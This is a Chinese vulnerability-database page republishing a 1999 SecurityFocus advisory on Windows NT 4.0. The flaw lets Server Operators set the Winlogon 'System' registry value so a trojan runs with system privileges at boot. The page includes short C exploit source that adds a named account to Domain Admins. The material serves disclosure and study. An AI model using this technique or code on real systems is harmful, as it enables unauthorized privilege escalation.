Microsoft Windows NT 4.0/4.0 SP1/4.0 SP2/4.0 SP3/4.0 SP4 – Server Operator to Administrator Privilege Escalation: System Key
漏洞ID | 1053382 | 漏洞类型 | |
发布时间 | 1999-01-11 | 更新时间 | 1999-01-11 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Windows | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/182/info
The default ACL over the HKEY_Local_MachineSoftwareMicrosoftWindows NTCurrentVersionWinlogon key "System" value includes an entry for Server Operators:Special. The Special setting allows Server Ops to "Set" this value. A malicious System Operator could place reference to a trojan in this entry. This trojan would be executed under system privileges the next time the system is booted. As the trojan has been called by the system, the system account has privileges to execute code that would elevate the permission of a selected account to "administrator".
Due to the command parsing in this registry key, it is not possible to execute anything "interactive" (ie User Manager, Server Manager), anything with command line arguments, or anything that attempts to interact with the LSASS immediately after logon. Sample code has been posted in the exploit section that will perform privilege escalation without any of the above limitations.
/* GetadmforSops.exe - David Litchfield 11 Jan 1999 */
/* Compile with eg Visual C++ and link with netapi32.lib */
#define UNICODE
#include <windows.h>
#include <wchar.h>
#include <lmaccess.h>
#include <winbase.h>
int __cdecl wmain (void)
{
LPWSTR group = L"Domain Admins";
LPWSTR acc = L"acc_name";
NET_API_STATUS nas=0;
_sleep(180000);
if( (nas=NetGroupAddUser(NULL, group, acc)) == 0)
{
wprintf(L"Success");
return 0;
}
return 0;
}
Windows NT文件记录漏洞 漏洞ID 1207585 漏洞类型 未知 发布时间 1997-01-01 更新时间 1997-01-01 CVE编号 CVE-1999-0576 CNNVD-ID CNNVD-199701-032 漏洞平台 N/A CVSS评…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666